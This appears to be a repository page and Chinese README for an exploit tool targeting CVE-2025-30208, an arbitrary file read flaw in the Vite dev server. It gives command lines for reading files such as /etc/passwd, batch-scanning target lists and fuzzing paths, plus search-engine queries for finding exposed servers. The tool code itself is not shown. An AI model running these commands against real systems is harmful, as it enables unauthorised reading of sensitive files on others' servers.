# CVE-2025-30208-EXP **Repository Path**: codevibe/CVE-2025-30208-EXP ## Basic Information - **Project Name**: CVE-2025-30208-EXP - **Description**: CVE-2025-30208-EXP - **Primary Language**: Python - **License**: LGPL-2.1 - **Default Branch**: main - **Homepage**: None - **GVP Project**: No ## Statistics - **Stars**: 0 - **Forks**: 0 - **Created**: 2026-10-01 - **Last Updated**: 2026-10-10 ## Categories & Tags **Categories**: Uncategorized **Tags**: None ## README # CVE-2025-30208 Exploit Tool CVE-2025-30208 是一个影响 Vite 开发服务器的任意文件读取漏洞。该漏洞利用简单、覆盖面广,且无需复杂条件即可触发,因此危害性极高。本工具旨在帮助安全研究人员和红队成员快速检测并验证该漏洞的存在。 ## 目录 - [简介](#漏洞简介) - [使用方法](#使用方法) - [支持的测绘语句](#支持的测绘语句) - [注意事项](#免责声明) ## 漏洞简介 Vite 是一个现代化的前端开发构建工具。在某些配置下,其开发服务器存在任意文件读取漏洞,攻击者可借此读取目标服务器上的任意文件(如 `/etc/passwd`),从而获取敏感信息或为进一步攻击提供便利。 --- ## 使用方法 ### 1. 基础检测 使用 `-u` 参数对单个 URL 进行检测: ~~~bash python3 Vite-CVE-2025-30208-EXP.py -u http://target.com ~~~ ### 2. 自定义 Payload 使用 `-p` 参数指定要读取的目标文件路径: ~~~bash python3 Vite-CVE-2025-30208-EXP.py -u http://target.com -p /etc/passwd ~~~ ### 3. 批量检测 使用 `-f` 参数配合 IP 文件进行批量扫描: ~~~bash python3 Vite-CVE-2025-30208-EXP.py -f ip.txt ~~~ IP 文件格式如下(每行一个目标): ~~~ http://192.168.1.1 http://example.com/path ~~~ ### 4. 使用代理 若需通过 HTTP 代理发起请求,可使用 `--proxy` 参数: ~~~bash python3 Vite-CVE-2025-30208-EXP.py -u http://target.com --proxy http://127.0.0.1:8080 ~~~ ### 5. Fuzz 测试 使用 `-d` 参数配合字典文件对常见敏感路径进行模糊测试: ~~~bash python3 Vite-CVE-2025-30208-EXP.py -u http://target.com -d dict.txt ~~~ --- ## 输出结果 成功检测到漏洞后,脚本会将目标服务器上读取到的内容保存至 `output.txt` 文件中。 --- ## 支持的测绘语句 ### Fofa测绘语句: ``` body="/@vite/client" ``` 鹰图Hunter测绘语句: ``` web.body="/@vite/client" ``` ## 免责声明 1. 如果您下载、安装、使用、修改本工具及相关代码,即表明您信任本工具 2. 在使用本工具时造成对您自己或他人任何形式的损失和伤害,我们不承担任何责任 3. 如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任 4. 请您务必审慎阅读、充分理解各条款内容,特别是免除或者限制责任的条款,并选择接受或不接受 5. 除非您已阅读并接受本协议所有条款,否则您无权下载、安装或使用本工具 6. 您的下载、安装、使用等行为即视为您已阅读并同意上述协议的约束